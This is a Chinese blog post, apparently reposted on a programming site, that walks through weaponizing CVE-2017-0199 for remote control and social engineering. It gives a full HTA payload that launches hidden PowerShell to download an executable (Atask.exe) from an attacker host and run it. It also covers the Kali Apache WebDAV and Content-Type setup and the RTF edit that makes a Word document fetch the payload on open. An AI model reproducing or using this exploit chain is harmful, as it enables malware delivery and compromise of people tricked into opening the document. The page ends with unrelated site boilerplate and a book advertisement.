CVE-2017-0199 Kali做服务器远控结合 Doc社工神器

栏目: 服务器 · Apache · 发布时间: 6年前

内容简介：CVE-2017-0199 Kali做服务器远控结合 Doc社工神器

Apache利用的是kalia

Kali下2个路径

web 路径 /var/www/html

apace 配置文件路径 /etc/apache2/apache2.conf

准备文件2个

1：poc

POC的内容：

<script>
poc=new ActiveXObject("WScript.Shell");
poc.run('%SystemRoot%/system32/WindowsPowerShell/v1.0/powershell.exe -windowstyle hidden (new-object System.Net.WebClient).DownloadFile(\'http://ip_url/Atask.exe\', \'c:/windows/temp/Atask.exe\'); c:/windows/temp/Atask.exe', 0);window.close();
</script>

2：word 文档

随意例如： a.docx

一：KaLi 开启DAV

a2enmod dav 
a2enmod dav_fs 
a2enmod dav_lock 
a2enmod headers

service apache2 restart

二：Kali服务器上操作

mv a.docx /var/www/html/a.rtf

三:本机电脑客户端操作

 新建word => 插入 => 对象 -> 文件名字 http://ip/a.rtf 勾选 连接到文件
保存成 rtf文件 （b.rtf）

四：Kali服务器上删除 /var/www/html/a.rtf 文件，把一开始准备的 poc 复制成 a.rtf

mv poc /var/www/html/a.rtf

之后修改Apache配置文件 vim /etc/apache2/apache2.conf

增加如下内容：

<Directory /> 
Dav on 
</Directory>

<Directory /var/www/html/ms/> 
Header set Content-Type "application/hta" 
</Directory>

保存 service apache2 restart

五:客户端

用文本编辑器 打开 b.rtf 找到：
`\object\objautlink\rsltpict`

替换为
`\object\objautlink\objupdate\rsltpict`：

保存。。。制作完成

以上就是本文的全部内容，希望对大家的学习有所帮助，也希望大家多多支持码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络，本站转载出于传递更多信息之目的，版权归原作者或者来源机构所有，如转载稿涉及版权问题，请联系我们。

码农书籍

Processing语言权威指南

Casey Reas、Ben Fry / 张静 / 电子工业出版社 / 2013-10-1 / 139.00

本书介绍了可视化艺术中的计算机编程概念，对开源编程语言Processing作了非常详尽的阐述。学生、艺术家、设计师、建筑师、研究者，以及任何想编程实现绘画、动画和互动的人都可以使用它。书中的大部分章节是短小的单元，介绍Processing的语法和基本概念（变量、函数、面向对象编程），涵盖与软件相关的图像处理、绘制，并且给出了大量简短的原型程序，配以相应的过程图像与注释。书中还有一些访谈文章，与动画......一起来看看《Processing语言权威指南》这本书的介绍吧!

码农工具